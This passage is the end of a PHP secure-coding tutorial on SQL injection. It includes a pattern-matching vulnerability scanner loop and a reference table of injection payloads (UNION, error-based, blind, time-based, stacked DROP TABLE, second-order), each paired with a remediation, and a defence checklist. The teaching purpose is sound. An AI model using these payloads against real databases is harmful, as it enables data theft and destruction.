    <span class="token variable">$filePath</span> <span class="token operator">=</span> <span class="token variable">$file</span><span class="token operator">-></span><span class="token function">getRealPath</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token variable">$content</span> <span class="token operator">=</span> <span class="token function">file_get_contents</span><span class="token punctuation">(</span><span class="token variable">$filePath</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token variable">$lines</span> <span class="token operator">=</span> <span class="token function">explode</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"\n"</span><span class="token punctuation">,</span> <span class="token variable">$content</span><span class="token punctuation">)</span><span class="token punctuation">;</span>

    <span class="token keyword">foreach</span> <span class="token punctuation">(</span><span class="token variable">$lines</span> <span class="token keyword">as</span> <span class="token variable">$lineNum</span> <span class="token operator">=></span> <span class="token variable">$lineCode</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
        <span class="token keyword">foreach</span> <span class="token punctuation">(</span><span class="token variable">$dangerousPatterns</span> <span class="token keyword">as</span> <span class="token variable">$regex</span> <span class="token operator">=></span> <span class="token variable">$description</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
            <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">preg_match</span><span class="token punctuation">(</span><span class="token variable">$regex</span><span class="token punctuation">,</span> <span class="token variable">$lineCode</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
                <span class="token variable">$issuesCount</span><span class="token operator">++</span><span class="token punctuation">;</span>
                <span class="token keyword">echo</span> <span class="token string double-quoted-string">"[!] VULNERABILITY ALERT in <span class="token interpolation"><span class="token punctuation">{</span><span class="token variable">$filePath</span><span class="token punctuation">}</span></span>:<span class="token interpolation"><span class="token punctuation">{</span><span class="token variable">$lineNum</span><span class="token punctuation">}</span></span>\n"</span><span class="token punctuation">;</span>
                <span class="token keyword">echo</span> <span class="token string double-quoted-string">"    Reason: <span class="token interpolation"><span class="token punctuation">{</span><span class="token variable">$description</span><span class="token punctuation">}</span></span>\n"</span><span class="token punctuation">;</span>
                <span class="token keyword">echo</span> <span class="token string double-quoted-string">"    Code:   "</span> <span class="token operator">.</span> <span class="token function">trim</span><span class="token punctuation">(</span><span class="token variable">$lineCode</span><span class="token punctuation">)</span> <span class="token operator">.</span> <span class="token string double-quoted-string">"\n\n"</span><span class="token punctuation">;</span>
            <span class="token punctuation">}</span>
        <span class="token punctuation">}</span>
    <span class="token punctuation">}</span>
<span class="token punctuation">}</span>

<span class="token keyword">echo</span> <span class="token string double-quoted-string">"Scan complete. Found <span class="token interpolation"><span class="token punctuation">{</span><span class="token variable">$issuesCount</span><span class="token punctuation">}</span></span> potential security issues.\n"</span><span class="token punctuation">;</span></span>

Module 9: Comprehensive SQLi Payload & Remediation Reference

Attack Vector Type	Representative Attack Payload	Root Vulnerability Cause	Definitively Secure PHP Remediation
In-Band UNION	`' UNION SELECT 1, user(), version()-- -`	String interpolation into `SELECT` query.	`PDO::prepare("SELECT a, b FROM t WHERE id = ?")->execute([$id])`
Error-Based	`' AND ExtractValue(1, concat(0x7e, @@version))-- -`	Unparameterized input combined with database error display.	Disable verbose error messages in production (`ini_set('display_errors', 0)`) + PDO prepares.
Boolean Blind	`' AND (SELECT ASCII(SUBSTRING(pass,1,1)) FROM u)=97--`	Unparameterized input evaluated in boolean conditional.	Strict Parameter Binding (`bindValue(':param', $val, PDO::PARAM_STR)`).
Time-Based Blind	`' AND IF(1=1, SLEEP(5), 0)-- -`	Query execution flow delays server thread execution.	True server-side parameterized queries (`ATTR_EMULATE_PREPARES => false`).
Numeric Literal SQLi	`id=1 OR 1=1`	Assuming integers don't need quotes or parameterization.	Explicit integer casting `(int)$_GET['id']` + parameter binding.
Dynamic Column Sorting	`sort=id; DROP TABLE users;`	Passing `$_GET['sort']` directly into `ORDER BY $col`.	Strict Whitelist Arrays (`$allowed = ['id'=>'id']; $col = $allowed[$input] ?? 'id'`).
Second-Order SQLi	`admin'--` stored in database, queried unescaped later.	Blindly trusting database data when constructing downstream queries.	Parameterize ALL downstream queries even when reading from internal database tables.

Module 10: Enterprise Security Checklist & Conclusion

The 6-Point Database Security Checklist

Never concatenate user input: 100% of dynamic queries must use Prepared Statements via PDO or MySQLi.
Disable Emulated Prepares: Configure PDO::ATTR_EMULATE_PREPARES => false in your database connection bootstrap.
Strict Whitelisting for Dynamic Identifiers: Always validate table names, column names, and sort directions against hardcoded whitelist arrays.
Principle of Least Privilege: The database user account used by the PHP application should only possess SELECT, INSERT, UPDATE, and DELETE permissions. Never connect web applications as root or sa.
Disable Detailed Database Error Display: Ensure display_errors = Off in php.ini for production environments. Log errors internally.
Automated Static Analysis: Regularly run linters and scanners to detect accidental unparameterized queries across your code repository.

Conclusion

SQL Injection is a completely preventable vulnerability. By adopting PDO Prepared Statements with server-side preparation, strict identifier whitelisting, and the principle of least privilege, you eliminate SQL injection risks across your entire application architecture.

Happy coding, and build securely!

Authored by the UnreliableCode Security & Engineering Team for unreliablecode.net

The Definitive SQL Injection & Secure PHP Engineering Masterclass: Exhaustive Attack Vectors, UNION Exploits, Blind Injections, and Modern Defense Architecture

Discussion (0)